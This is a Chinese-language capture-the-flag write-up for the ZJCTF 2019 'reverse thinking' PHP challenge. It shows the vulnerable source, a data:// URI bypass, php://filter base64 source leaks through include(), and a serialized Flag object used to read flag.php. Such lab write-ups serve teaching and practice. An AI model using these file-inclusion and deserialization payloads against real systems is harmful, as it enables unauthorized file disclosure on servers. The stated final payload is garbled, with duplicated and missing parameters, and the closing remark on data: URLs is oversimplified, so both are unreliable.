0x00 前言

多练一点题,重心放在复盘和锻炼思维。


0x01 题目

题目来源:浙江省大学生网络与信息安全竞赛-决赛-2019-Web-逆转思维

index.php

image-20240829142214729

后台放dirsearch扫目录,结合题目知道两个文件:

  • flag.php
  • useless.php

flag.php

直接访问flag.php文件:

image-20240829142424372

难道flag.php里没有flag?

还有一种可能:flag.php文件本身有flag,但是没有被交给HTML文档。

所以我们的目标应该是读取flag.php的完整源码。

useless.php

直接访问useless.php文件:

image-20240829142819752

(承包空屏)

看来useless.php文件在前端也不存在有用提示。

现在我们只能从题目入手。


0x02 解题

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

构造内容

我们需要先通过第一个if语句,但是我们没有找到内容符合条件的文件,而且优先不考虑远程文件包含,那么只能想想是否可以自己构建一个语句满足条件。

使用data伪协议,先看看data协议语法:

Data URI 的格式十分简单,如下所示:

1
data:[<mime type>][;charset=<charset>][;base64],<encoded data>

返回值即是解码后的数据,而这些数据正是我们可以构造的,对于本题使用如下:

1
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

获取源码

题目提示我们包含useless.php文件,很明显这个文件要和下文的反序列化配合,所以我们除了包含该文件以外还必须要知道该文件内容。

这里需要用到另一个伪协议:php://filter。通过这个伪协议来读取useless.php的源码,进而为下面的反序列化做好准备。

1
file=php://filter/read=convert.base64-encode/resource=useless.php

useless.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

看来只需要反序列化即可。

反序列化

相当简单的反序列化,直接给出poc:

1
2
3
4
5
6
7
<?php
class Flag{
public $file;
}
$exp = new Flag();
$exp->file = 'flag.php';
echo serialize($exp);

最后的payload:

1
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&password=&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

0x04 坑点

本题有几个坑点:

  1. 我首先尝试前端读取php文件,但是空无一物,然而后面用其他方法却可以读取到文件源码,其中原理是什么呢?
  • PHP 代码在服务器上被解析并执行,生成 HTML 内容,然后将结果发送到浏览器。浏览器只接收到执行后的结果,而不是源代码。
  1. 为什么include函数除了包含文件以外,还可以读取文件源码呢?

这主要是因为 PHP 的流封装机制和 include 函数的灵活性

  • 流的概念:PHP 支持多种类型的流(如文件流、网络流、内存流等),php://filter 是一种特殊的流,可以对数据进行过滤和转换。

  • include 支持流:include 函数不仅支持普通文件路径,还可以接受任何有效的流,包括 php:// 开头的流。

因为include函数本身的功能就是将指定文件的内容插入到当前脚本中,所以它可以把流的结果插入当前HTML文档,我们也就可以读取编码后的文件内容了。

include 函数不能直接接受 data: URL。data: URL 是一种用于嵌入小型数据的方式,通常用于 <img> 标签等 HTML 元素,而不是用于 PHP 的文件包含。